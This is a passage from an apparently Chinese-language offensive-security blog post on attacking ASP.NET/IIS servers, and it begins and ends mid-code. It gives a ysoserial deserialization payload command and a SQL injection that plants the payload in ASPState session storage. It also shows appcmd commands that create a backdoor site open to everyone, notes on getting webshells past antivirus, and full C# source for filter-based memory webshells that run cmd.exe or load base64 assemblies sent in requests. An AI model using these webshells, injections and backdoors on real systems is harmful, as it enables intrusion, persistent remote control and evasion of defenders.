auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">                <span style="color: rgb(198, 120, 221);line-height: 26px;">using</span>(stream = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> MemoryStream(buf)) {                    item = SessionStateUtility.DeserializeStoreData(context, stream, s_configCompressionEnabled);                    _rqOrigStreamLen = (<span style="color: rgb(198, 120, 221);line-height: 26px;">int</span>) stream.Position;                }</p></pre><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">将反序列化的数据交给HttpStaticObjectsCollection.Deserialize(reader)处理最终交给AltSerialization.ReadValueFromStream(reader)处理，调用ysoserial中AltSerialization反序列化链生成payload</p><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">ysoserial.exe -p Altserialization -M HttpStaticObjectsCollection -o base64 -c &#34;calc.exe&#34;</p></pre><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">添加SessionStateUtility 包装</p><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">先將原本從 ysoserial.net 產出的 payload 從 base64 轉成 hex 表示，再前後各別添加 6、1 bytes  timeout    false  true            HttpStaticObjectsCollection             eof┌─────────┐  ┌┐     ┌┐    ┌───────────────────────────────────────────────┐ ┌┐00 00 00 00  00     01    010000000001140001000000fff ... 略 ... 0000000a0b ff</p></pre><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">注入数据库中</p><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">?id=1; UPDATE ASPState.dbo.ASPStateTempSessions       SET SessionItemShort = 0x{Hex_Encoded_Payload}       WHERE SessionId LIKE &#39;{ASP.NET_SessionId}%25&#39;; --</p></pre><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">注入后用同样的session id访问任意aspx页面即可出发反序列化操作</p><h2 style="margin: 70px 30px 30px;color: rgb(0, 0, 0);font-weight: bold;font-size: 22px;text-align: center;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(255, 255, 255, 0.1)));">非Framework</span></h2><h4 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 18px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">iis后门（appcmd）</h4><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">通过iis的appcmd命令添加一个网站，在另一个网站放我的shell（类似listener内存马）。</p><ol style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">appcmd要求高权限</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">要求能执行命令</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">其他的端口可以被访问到</p></li></ol><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">C:\windows\sytstem32\inetsrv\APPCMD add site /name:test /bindings:&#34;http/*:81:&#34; /physicalPath:&#34;C:\windows\temp\123&#34;cacls.exe C:\windows\temp\123 /e /t /g everyone:FC:\windows\sytstem32\inetsrv\APPCMD set app &#34;test/&#34; /applicationPool:&#34;.NET v2.0&#34;</p></pre><h2 style="margin: 70px 30px 30px;color: rgb(0, 0, 0);font-weight: bold;font-size: 22px;text-align: center;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(255, 255, 255, 0.1)));">预编译问题</span></h2><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: square;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">预编译的站点不会执行我们上传的aspx文件</p><pre style="font-size: 1em;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;"><p style="font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 4px 2px;color: rgb(255, 100, 65);background: rgb(40, 44, 52);border-radius: 5px;margin-right: 2px;margin-left: 2px;word-break: break-all;">C:\Windows\Microsoft.NET\Framework64\v2.0.50727\aspnet_compiler -v \ -p src target -fixednames生成的文件除了PrecompiledApp.config全部拖入目标网站</p></pre></div></li><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: circle;" class="list-paddingleft-1"><li style="list-style-type: circle;"><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">预编译配置文件在PrecompiledApp.config，修改updatable为true就能动态编译aspx文件，需要重启iis</p></li><li style="list-style-type: circle;"><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">直接上传编译好的aspx文件,在aspx文件夹下执行如下命令</p></li></ul></ul><h2 style="margin: 70px 30px 30px;color: rgb(0, 0, 0);font-weight: bold;font-size: 22px;text-align: center;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(255, 255, 255, 0.1)));">Shell管理工具及免杀</span></h2><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">symantec测试软件</p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><a href="https://bbs.kafan.cn/forum.php?mod=forumdisplay&amp;fid=51&amp;page=1&amp;filter=typeid&amp;typeid=292" target="_blank">https://bbs.kafan.cn/forum.php?mod=forumdisplay&amp;fid=51&amp;page=1&amp;filter=typeid&amp;typeid=292</a></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">先安装服务端再安装客户端，免费试用60天，测完免杀下次重新装虚拟机就好了</p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">aspxspy就是利用最简单的启动一个process执行命令，静态直接被杀</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5750394944707741" data-s="300,640" data-type="png" data-w="633" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=ccf37899&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiapvm3m7SrMvzwFEyFzh4Sx2IWUjoJpgHjevGf2umlcgc2JZOn2gZvIQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">哥斯拉普通马直接杀</p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">filter内存马静态均可存活,修改哥斯拉内存马为aspx文件，尝试重写Equals方法失败，跟踪报错</p><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">An IL variable is not available at the current native IP</p></pre><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">根据官方回答开启JIT失败，未解决</p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">蚁剑本身的内存马功能根据介绍是使用虚拟目录内存马，且需要落地一个蚁剑shell再用蚁剑后渗透插件派生，很麻烦，这里直接用蚁剑的payload+filter内存马成功连接</p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">改用蚁剑成功，直接使用命令可看到iis打开了程序，尝试使用蚁剑打开程序同样可看到iis打开了程序</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.78515625" data-s="300,640" data-type="png" data-w="256" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=ddbcaa89&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiamLLroD19ydlZR7p4CP2PMD6g60ZXC5B0sfXlYtIqkcXsvzwyP336BA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.23052959501557632" data-s="300,640" data-type="png" data-w="321" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=dd8f91a3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaYvMYlH3ySmMtSH9IuFGdZKICxbiagvfXTBXJZtVoicM1a5BlfxXp7Sjg%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="margin: 60px auto 10px;color: rgb(255, 255, 255);font-weight: bold;font-size: 17px;background-color: rgb(0, 0, 0);padding: 2px 10px;width: fit-content;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;">直接使用cmd</h3><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">&lt;%@ Page Language=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;c#&#34;</span>%&gt;&lt;%@ Import Namespace=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;System.Diagnostics&#34;</span> %&gt;&lt;%@ Import Namespace=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;System.Web.Mvc&#34;</span> %&gt;&lt;script runat=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;server&#34;</span>&gt;    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">Page_load</span>()</span>    {    }    <span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">class</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">MyAuthorizeFilter</span> : <span style="color: rgb(97, 174, 238);line-height: 26px;">AuthorizeAttribute</span>    {        <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">override</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">OnAuthorization</span>(<span style="line-height: 26px;">AuthorizationContext filterContext</span>)</span>        {            String cmd = filterContext.HttpContext.Request.QueryString[<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;cmd&#34;</span>];            <span style="color: rgb(198, 120, 221);line-height: 26px;">if</span> (cmd != <span style="color: rgb(86, 182, 194);line-height: 26px;">null</span>)            {                HttpResponseBase response = filterContext.HttpContext.Response;                Process p = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> Process();                p.StartInfo.FileName = <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;cmd.exe&#34;</span>;                p.StartInfo.Arguments = <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;/c &#34;</span> + cmd;                p.StartInfo.UseShellExecute = <span style="color: rgb(86, 182, 194);line-height: 26px;">false</span>;                p.StartInfo.RedirectStandardOutput = <span style="color: rgb(86, 182, 194);line-height: 26px;">true</span>;                p.StartInfo.RedirectStandardError = <span style="color: rgb(86, 182, 194);line-height: 26px;">true</span>;                p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;                p.Start();                <span style="color: rgb(198, 120, 221);line-height: 26px;">byte</span>[] data = Encoding.UTF8.GetBytes(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd());                response.Write(Encoding.Default.GetString(data));            }            Console.WriteLine(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;auth filter inject&#34;</span>);        }    }&lt;/script&gt;&lt;%    GlobalFilterCollection filters = GlobalFilters.Filters;    filters.Add(<span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> MyAuthorizeFilter());%&gt;</p></pre><h3 style="margin: 60px auto 10px;color: rgb(255, 255, 255);font-weight: bold;font-size: 17px;background-color: rgb(0, 0, 0);padding: 2px 10px;width: fit-content;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;">蚁剑</h3><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">&lt;%@ Page Language=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;c#&#34;</span>%&gt;&lt;%@ Import Namespace=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;System.Web.Mvc&#34;</span> %&gt;&lt;%@ Import Namespace=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;System.Web.Mvc.Filters&#34;</span> %&gt;&lt;script runat=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;server&#34;</span>&gt;    <span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">class</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">MyAuthFilter</span> : <span style="color: rgb(97, 174, 238);line-height: 26px;">IAuthenticationFilter</span>    {        <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">OnAuthentication</span>(<span style="line-height: 26px;">AuthenticationContext filterContext</span>)</span>        {            HttpContext context = HttpContext.Current;            String Payload = filterContext.HttpContext.Request.Params[<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;ant&#34;</span>];            <span style="color: rgb(198, 120, 221);line-height: 26px;">if</span> (Payload != <span style="color: rgb(86, 182, 194);line-height: 26px;">null</span>)            {                System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));                assembly.CreateInstance(assembly.GetName().Name + <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;.Run&#34;</span>).Equals(context);                context.Response.End();            }            Console.WriteLine(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;auth filter inject&#34;</span>);        }        <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">OnAuthenticationChallenge</span>(<span style="line-height: 26px;">AuthenticationChallengeContext filterContext</span>)</span>        {        }    }&lt;/script&gt;&lt;%    GlobalFilterCollection globalFilterCollection = GlobalFilters.Filters;    globalFilterCollection.Add(<span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> MyAuthFilter(), <span style="color: rgb(209, 154, 102);line-height: 26px;">-2</span>);%&gt;</p></pre><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">可自定义修改class名称方便隐藏，缺点，返回结果未加密</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.15582655826558264" data-s="300,640" data-type="png" data-w="738" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=584398b2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaYbbdbQbicH7Noys2S0xH9svkkA5D1vY6NcZfQczECDBc27MF6EJOVfA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">添加编码解码器</p><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">&lt;%@ Page Language=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;c#&#34;</span>%&gt;&lt;%@ Import Namespace=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;System.IO&#34;</span> %&gt;&lt;%@ Import Namespace=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;System.Security.Cryptography&#34;</span> %&gt;&lt;%@ Import Namespace=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;System.Web.Mvc&#34;</span> %&gt;&lt;%@ Import Namespace=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;System.Web.Mvc.Filters&#34;</span> %&gt;&lt;script runat=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;server&#34;</span>&gt;    <span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">class</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">MyAuthFilter</span> : <span style="color: rgb(97, 174, 238);line-height: 26px;">IAuthenticationFilter</span>    {        <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">OnAuthentication</span>(<span style="line-height: 26px;">AuthenticationContext filterContext</span>)</span>        {            HttpContext context = HttpContext.Current;            String Payload = filterContext.HttpContext.Request.Params[<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;ant&#34;</span>];            <span style="color: rgb(198, 120, 221);line-height: 26px;">if</span> (Payload != <span style="color: rgb(86, 182, 194);line-height: 26px;">null</span>)            {                <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">/*string key = &#34;3c6e0b8a9c15224a&#34;;                byte[] strr = Convert.FromBase64String(Payload);                var aes = new RijndaelManaged();                aes.IV = Encoding.UTF8.GetBytes(key);                aes.Key = Encoding.UTF8.GetBytes(key);                aes.Mode = CipherMode.CBC;                aes.Padding = PaddingMode.Zeros;                var cryptoTransform = aes.CreateDecryptor();                var resultArray = cryptoTransform.TransformFinalBlock(strr, 0, strr.Length);                string tt = System.Text.Encoding.UTF8.GetString(resultArray);                byte[] bytes = Convert.FromBase64String(tt);                string zz=  Encoding.UTF8.GetString(bytes);*/</span>                System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));                               assembly.CreateInstance(assembly.GetName().Name + <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;.Run&#34;</span>).Equals(context);                <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//context.Response.Write();</span>                <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//MemoryStream sm_response = new MemoryStream();</span>                <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">/*string sm_response = context.Response.ToString();                byte[] arraysm_response = Encoding.UTF8.GetBytes(sm_response);                